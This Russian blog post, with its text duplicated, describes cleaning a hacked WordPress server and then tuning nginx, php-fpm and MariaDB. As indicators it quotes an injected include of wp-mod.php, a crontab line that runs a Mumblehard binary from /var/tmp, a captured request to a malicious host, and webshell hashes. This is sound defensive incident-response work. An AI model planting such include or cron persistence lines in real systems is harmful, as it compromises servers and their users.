День добрый, пятница ясная, бравый молодец иль девица красная!
Можешь мне верить, можешь мне не верить, но начался сей сказ с пары весточек на мою почту электронную и вот такой вот картины, красоты неписанной:

Это 500 бравых молодцев онлайн (по депеше от гугла) на движке заморском, wordpress именуемом, на сервере Intel Xeon E3 1245v2 (soyoustart, E3-SSD-3). К полотну была приложена рукописъ, помочь в оптимизации сего хозяйства.
Disclaimer: В данном материале показана быстрая диагностика глючного сервера и приведены конфиги, которые можно счесть полезными. Если вам есть что дополнить или критиковать, не стесняйтесь писать об этом в комментариях, ибо одна голова хуже две, две хуже чем три, а n-1 хуже чем n. Заразки, выдранные с сервера залиты на gist с соотв. комментариями как private, ясен пень, что не стоит их запускать на системе, для этого есть debug и ideone.com .
Я все еще лениво висел в скайпе и хотел снять порчу по телефону, как правило это получается, ибо копипаста не врет, пока пробелы после паролей не копируют.
выдал:

После команды:
стало красиво:

Но весь php встал на дыбы, в том числе и залитый phpinfo().
Все еще подгоняемый желанием решить удал��нно и нежеланием подключаться я попросил запустить
и следом разбанить:
После чего мне отправили лог:
Видно, что дергается
Моя лень подсказала несчастному админу, мол найти все моменты влючения этого безобразия. Файлы были найдены, пути относительно «корня сайта»:
Следом я попросил скинуть мне index.php из WP и получил вот такое чудо
В итоге под раздачу попала пачка файлов в /wp-includes/:
В общем больше нельзя было оставаться в стороне, и я забрал ssh доступ на скромный свеже установленный (февраль 2017) debian 7, php 5.4, демо ISP панель, приправленный proftpd… апачем до кучи (сайтами же рулил php-fpm)…
После поиска php файлов в разных директориях я нарвался на /wp-content/uploads/:
Затем в папке /wp-content/plugins/, схожие файлы загружать не стал:
wp-dojika.php — фанат «Game of trones» как и wp-jojiro.php.
Как видно — они обфусцированы. В том или иной мере, что следующим шагом я выбрал все php с
и нашел еще один, WAIpro.php, из которого выдирается вот такой вот декодированный файлик, который дергает много разной гадости, как вот к примеру apiword.press/addadmin_1.txt (gist).
Файлы были перемещены для будущих ковыряний.
Траффик упал очень сильно. Через сутки зайдя и увидя повышенный траф я прописал:
Я получил простыню, которая вертелась быстрее, чем армейский вентилятор из одноименного адегдота. После выключения php проблема не исчезла. Не верю, сказал я и ввел
… и, вишенкой на торте, стал вывод:
Затем sha256sum:
Который некто иной, как Linux/Mumblehard.U. Как он туда попадал… ��естно разбираться уже было лень. К счастью у несчастного админа была его старая виртуалка (OVH VPS SSD 3), проплаченная до 21 февраля, с которое сие было перенесено другим гореадмином 4 февраля по причине, того, что она (виртуалка) не справлялась с нагрузкой. И «несчастный админ» вышел на меня 6 февраля с простой просьбой по оптимизации сего хозяйства.
В итоге, сайт (как это возможно) был очищен от налепленных на него бяк, перенесен на переставленную старую виртуалку (которая бодро рассылала спам на всю ширину канала), и теперь показывает вот такие вот скромные числа, вот значение в пике (700 юзеров онлайн по googleAnal, кеш 3 сек):

Конфигурация достаточно простая: php-fpm 7.0.16 (7.1.1 не воспринимается некоторыми плагинами)
+ memcached
fpm-fpm сидит в chroot'e,
Nginx тоже на достаточно простой конфигурации (fpm подцеплен на порте, а не на сокете), а кеш имеет вид:
Где
Кеш лежит на ремдиске (tmpfs) объемом 1 Гб. Если кому интересны тесты такой же ВПС (но пустой), то вот они (gist).
Динамика отдается на 12 r/sec, статика на 256 r/sec. В принципе кеш всему голова… 470 онлайн без кеша nginx:

Вот с кешем nginx:

MySQL MariaDB отличается от дефолта кодом ниже:
Логи доступа и ошибок nginx пишутся активно (1.5Гб в день), 3 дня полет нормальный и сервер чистый, судя по логах и активности в целом, в том числе и в логе fpm.
Так же в логе fpm уже на свежем ВПС:
После чего были поиски файлов, которые могут быть похожи на functions.php в той или иной мере (аналогичные команды), но ничего подозрительного найдено не было.
Следующим этапом будет запереть сайты за cloudflare, играя
Теплого вам солнца и настоящих выходных!
Можешь мне верить, можешь мне не верить, но начался сей сказ с пары весточек на мою почту электронную и вот такой вот картины, красоты неписанной:

Это 500 бравых молодцев онлайн (по депеше от гугла) на движке заморском, wordpress именуемом, на сервере Intel Xeon E3 1245v2 (soyoustart, E3-SSD-3). К полотну была приложена рукописъ, помочь в оптимизации сего хозяйства.
Disclaimer: В данном материале показана быстрая диагностика глючного сервера и приведены конфиги, которые можно счесть полезными. Если вам есть что дополнить или критиковать, не стесняйтесь писать об этом в комментариях, ибо одна голова хуже две, две хуже чем три, а n-1 хуже чем n. Заразки, выдранные с сервера залиты на gist с соотв. комментариями как private, ясен пень, что не стоит их запускать на системе, для этого есть debug и ideone.com .
Я все еще лениво висел в скайпе и хотел снять порчу по телефону, как правило это получается, ибо копипаста не врет, пока пробелы после паролей не копируют.
netstat -ntu | awk '{print $5}'| cut -d: -f1 | sort | uniq -c | sort -nr | more
выдал:

После команды:
iptables -I INPUT -s 188.138.89.112 -j DROP
стало красиво:

Но весь php встал на дыбы, в том числе и залитый phpinfo().
Все еще подгоняемый желанием решить удал��нно и нежеланием подключаться я попросил запустить
tcpdump -i eth0 dst host 188.138.89.112 -v -XX
и следом разбанить:
iptables -D INPUT -s 188.138.89.112 -j DROP
После чего мне отправили лог:
Host: broin.top Accept: */* 0x0000: 0007 b400 0102 3860 7713 ffbe 0800 4500 ......8`w.....E. 0x0010: 006f 900d 4000 4006 0592 2e69 6086 bc8a .o..@.@....i`... 0x0020: 5970 d8f5 0050 3be0 6f97 6bd8 b0e4 8018 Yp...P;.o.k..... 0x0030: 00e5 a54b 0000 0101 080a 03dd ffa0 4221 ...K..........B! 0x0040: da17 4745 5420 2f6c 6e6b 2f69 6e6a 2e70 ..GET./lnk/inj.p 0x0050: 6870 2048 5454 502f 312e 310d 0a48 6f73 hp.HTTP/1.1..Hos 0x0060: 743a 2062 726f 696e 2e74 6f70 0d0a 4163 t:.broin.top..Ac 0x0070: 6365 7074 3a20 2a2f 2a0d 0a0d 0a cept:.*/*.... 20:33:17.765232 IP (tos 0x0, ttl 64, id 50803, offset 0, flags [DF], proto TCP (6), length 52) server.s.55540 > xray874.dedicatedpanel.com.http: Flags [.], cksum 0xa510 (incorrect -> 0x6231), ack 15929, win 477, options [nop,nop,TS val 64880546 ecr 1109514777], length 0 0x0000: 0007 b400 0102 3860 7713 ffbe 0800 4500 ......8`w.....E. 0x0010: 0034 c673 4000 4006 cf66 2e69 6086 bc8a .4.s@.@..f.i`... 0x0020: 5970 d8f4 0050 8d4b 3a3b a61a 0724 8010 Yp...P.K:;...$.. 0x0030: 01dd a510 0000 0101 080a 03dd ffa2 4221 ..............B! 0x0040: da19 .. 20:33:17.765486 IP (tos 0x0, ttl 64, id 50804, offset 0, flags [DF], proto TCP (6), length 52) server.s.55540 > xray874.dedicatedpanel.com.http: Flags [.], cksum 0xa510 (incorrect -> 0x5c72), ack 17377, win 500, options [nop,nop,TS val 64880546 ecr 1109514777], length 0 0x0000: 0007 b400 0102 3860 7713 ffbe 0800 4500 ......8`w.....E. 0x0010: 0034 c674 4000 4006 cf65 2e69 6086 bc8a .4.t@.@..e.i`... 0x0020: 5970 d8f4 0050 8d4b 3a3b a61a 0ccc 8010 Yp...P.K:;...... 0x0030: 01f4 a510 0000 0101 080a 03dd ffa2 4221 ..............B!
Видно, что дергается
http://broin.top/lnk/inj.php, вот ссылка на gist и на декодированный.Моя лень подсказала несчастному админу, мол найти все моменты влючения этого безобразия. Файлы были найдены, пути относительно «корня сайта»:
Следом я попросил скинуть мне index.php из WP и получил вот такое чудо
@include_once('./wp-includes/wp-mod.php');
В итоге под раздачу попала пачка файлов в /wp-includes/:
- 9f120c79d956d543a1cd44902f0f50056b3338cc1136effb6c208bf46fcf74fd wp-010617.php
- d0eb12533eed5d316504573976e611a71fd066f8fe5591422f6f49cdcaa8ff5e wp-0bf.php
- cfb91fbc45eb7a74791a7845e7b18c2b8771b217ee27150a6f8422a1a073cc6d wp-accuracy.php
- d67051bc4d20782f770dac771cfdf68e876156a0b012be2462f8a436dad07ceb wp-file.php
- 5503f88744374570f9168216ee174ced87c80ef17d8f17accb2001f985862267 wp-fiscal.php
- ee53973940016c403f457762e0c270d9729a101337bcdf3d6e4667b050549316 wp-mod.php
- 5361bdbd75b368e79d17a47282f0ce6cd2759ccfdef8833ff38fe2a5dee95170 wp-obf.php
- 89e96f69b8cb9d54959b300cc03b1312a0500c24ddffb6659e6acb688a1cfd8d wp-pas.php
- 6c752d54255ead4b7db10e00f7b53ba9132b0c143c5bb3f667e2a81eb98801cc wp-wso.php
В общем больше нельзя было оставаться в стороне, и я забрал ssh доступ на скромный свеже установленный (февраль 2017) debian 7, php 5.4, демо ISP панель, приправленный proftpd… апачем до кучи (сайтами же рулил php-fpm)…
После поиска php файлов в разных директориях я нарвался на /wp-content/uploads/:
- cfb91fbc45eb7a74791a7845e7b18c2b8771b217ee27150a6f8422a1a073cc6d wp-accuracy.php
- 5503f88744374570f9168216ee174ced87c80ef17d8f17accb2001f985862267 wp-fiscal.php
- 9b53f3e7243b78e6d0978817aab98c58e4598aa6a3c012ed10621b6e59c9283e wp-uso.php
Затем в папке /wp-content/plugins/, схожие файлы загружать не стал:
- cfb91fbc45eb7a74791a7845e7b18c2b8771b217ee27150a6f8422a1a073cc6d wp-accuracy.php
- 510785b58d10fc7687a63548adffc4cee82b68974fe1c349824d90cbfbfe39e7 wp-dojika.php
- d67051bc4d20782f770dac771cfdf68e876156a0b012be2462f8a436dad07ceb wp-file.php
- 5503f88744374570f9168216ee174ced87c80ef17d8f17accb2001f985862267 wp-fiscal.php
- 86a4d9ef20d506eab64ece2ef1c6555bc2404c4ded0aac6a846d64837e1a509b wp-jojiro.php
- 5361bdbd75b368e79d17a47282f0ce6cd2759ccfdef8833ff38fe2a5dee95170 wp-obf.php
- 5361bdbd75b368e79d17a47282f0ce6cd2759ccfdef8833ff38fe2a5dee95170 wp-orekio.php
- 89e96f69b8cb9d54959b300cc03b1312a0500c24ddffb6659e6acb688a1cfd8d wp-pas.php
- 6c752d54255ead4b7db10e00f7b53ba9132b0c143c5bb3f667e2a81eb98801cc wp-wso.php
wp-dojika.php — фанат «Game of trones» как и wp-jojiro.php.
Как видно — они обфусцированы. В том или иной мере, что следующим шагом я выбрал все php с
grep -A 3 -B 3 --include=\*.php -rnw '/path/to/www/' -e ".*base64_decode.*"
и нашел еще один, WAIpro.php, из которого выдирается вот такой вот декодированный файлик, который дергает много разной гадости, как вот к примеру apiword.press/addadmin_1.txt (gist).
Файлы были перемещены для будущих ковыряний.
Траффик упал очень сильно. Через сутки зайдя и увидя повышенный траф я прописал:
tcpdump -i eth0 dst port 25 -v -XX
Я получил простыню, которая вертелась быстрее, чем армейский вентилятор из одноименного адегдота. После выключения php проблема не исчезла. Не верю, сказал я и ввел
crontab -u admin -e.… и, вишенкой на торте, стал вывод:
crontab -u admin -e
*/10 * * * * /var/tmp/eumqvTiN >/dev/null 2>&1
Затем sha256sum:
694fc1f7f17d5f3c447fcdb83fa6177b736b241430e70309a4b3111ef1d0e3b9 eumqvTiN
Который некто иной, как Linux/Mumblehard.U. Как он туда попадал… ��естно разбираться уже было лень. К счастью у несчастного админа была его старая виртуалка (OVH VPS SSD 3), проплаченная до 21 февраля, с которое сие было перенесено другим гореадмином 4 февраля по причине, того, что она (виртуалка) не справлялась с нагрузкой. И «несчастный админ» вышел на меня 6 февраля с простой просьбой по оптимизации сего хозяйства.
В итоге, сайт (как это возможно) был очищен от налепленных на него бяк, перенесен на переставленную старую виртуалку (которая бодро рассылала спам на всю ширину канала), и теперь показывает вот такие вот скромные числа, вот значение в пике (700 юзеров онлайн по googleAnal, кеш 3 сек):

Конфигурация достаточно простая: php-fpm 7.0.16 (7.1.1 не воспринимается некоторыми плагинами)
./configure --prefix=/opt/php-7.0 --with-pdo-pgsql --with-zlib-dir --with-freetype-dir --enable-mbstring --with-libxml-dir=/usr --enable-soap --enable-calendar --with-curl --with-mcrypt --with-zlib --with-gd --with-pgsql --disable-rpath --enable-inline-optimization --with-bz2 --with-zlib --enable-sockets --enable-sysvsem --enable-sysvshm --enable-pcntl --enable-mbregex --enable-exif --enable-bcmath --with-mhash --enable-zip --with-pcre-regex --with-pdo-mysql --with-mysqli --with-mysql-sock=/var/run/mysqld/mysqld.sock --with-jpeg-dir=/usr --with-png-dir=/usr --enable-gd-native-ttf --with-openssl --with-fpm-user=www-data --with-fpm-group=www-data --with-libdir=/lib/x86_64-linux-gnu --enable-ftp --with-imap --with-imap-ssl --with-kerberos --with-gettext --with-xmlrpc --with-xsl --enable-opcache --enable-fpm --enable-intl
+ memcached
fpm-fpm сидит в chroot'e,
[wwwsomeone] listen = 127.0.0.1:9001 listen.allowed_clients = 127.0.0.1 user = wwwsomeone group = wwwsomeone pm = dynamic pm.max_children = 50 pm.start_servers = 10 pm.min_spare_servers = 5 pm.max_spare_servers = 10 chroot = /path/to/folder chdir = / catch_workers_output = yes
Nginx тоже на достаточно простой конфигурации (fpm подцеплен на порте, а не на сокете), а кеш имеет вид:
fastcgi_cache_key "$scheme:$server_name:$server_port:$request_uri"; fastcgi_cache mapcgi; fastcgi_cache_lock on; fastcgi_cache_lock_timeout 6s; fastcgi_cache_valid 200 301 302 304 3s; fastcgi_cache_valid 403 404 10s; fastcgi_no_cache $cookie_wordpress_auth_cookie; fastcgi_cache_methods GET HEAD;
Где
$cookie_wordpress_auth_cookie проверяет наличие куки wordpress_auth_cookie и запрещает кеширование ответов. Сейчас кеш составляет, отчего нагрузка упала больше всего:fastcgi_cache_lock_timeout 10s; fastcgi_cache_valid 200 301 302 304 2m; fastcgi_cache_valid 403 404 30s;
Кеш лежит на ремдиске (tmpfs) объемом 1 Гб. Если кому интересны тесты такой же ВПС (но пустой), то вот они (gist).
Динамика отдается на 12 r/sec, статика на 256 r/sec. В принципе кеш всему голова… 470 онлайн без кеша nginx:

Вот с кешем nginx:

[mysqld] user = mysql pid-file = /var/run/mysqld/mysqld.pid socket = /var/run/mysqld/mysqld.sock port = 3306 basedir = /usr datadir = /var/lib/mysql tmpdir = /tmp #init-connect='SET NAMES utf8' lc-messages-dir = /usr/share/mysql language = /usr/share/mysql/english skip-external-locking bind-address = 127.0.0.1 collation-server = utf8_unicode_ci character-set-server = utf8 event_scheduler = on innodb_file_per_table = 1 innodb_flush_method=O_DIRECT innodb_lock_wait_timeout = 50 innodb_buffer_pool_size = 1G join_buffer_size = 32M max_connections = 1024 max_allowed_packet = 256M max_join_size = 4096000 myisam_sort_buffer_size = 32M myisam-recover = BACKUP thread_cache_size = 16 key_buffer_size=32M net_buffer_length = 16K read_buffer_size=64M read_rnd_buffer_size = 8M sort_buffer_size = 32M bulk_insert_buffer_size = 256M expire_logs_days = 10 max_binlog_size = 100M # tmp_table_size = 1G max_heap_table_size = 1G # table_cache = 8192 open-files-limit = 262144 transaction-isolation = READ-COMMITTED query_cache_type = 2 query_cache_limit = 2M query_cache_size = 256M connect_timeout=30 wait_timeout=300
Логи доступа и ошибок nginx пишутся активно (1.5Гб в день), 3 дня полет нормальный и сервер чистый, судя по логах и активности в целом, в том числе и в логе fpm.
Так же в логе fpm уже на свежем ВПС:
[16-Feb-2017 23:06:42] WARNING: [pool wwwюзер] child 15075 said into stderr: "NOTICE: PHP message: PHP Fatal error: Uncaught Error: Call to undefined function mysql_escape_string() in /www/wp-content/themes/одна-такая-старая-тема-которая-не-используется/functions.php:60"
- 3622502af8083e53ced808af6ca7aca0bd3cb088d1df309964ab865f51ec90ca functions.php
После чего были поиски файлов, которые могут быть похожи на functions.php в той или иной мере (аналогичные команды), но ничего подозрительного найдено не было.
Следующим этапом будет запереть сайты за cloudflare, играя
add_header Cache-Control "public, max-age=123456789"; для контента без авторизации и add_header Cache-Control "private, max-age=0"; когда кукисы присуствуют в ответе и включить их файрволл, обеспечив дополнительную защиту «несчастному админу» и его блогам.Теплого вам солнца и настоящих выходных!
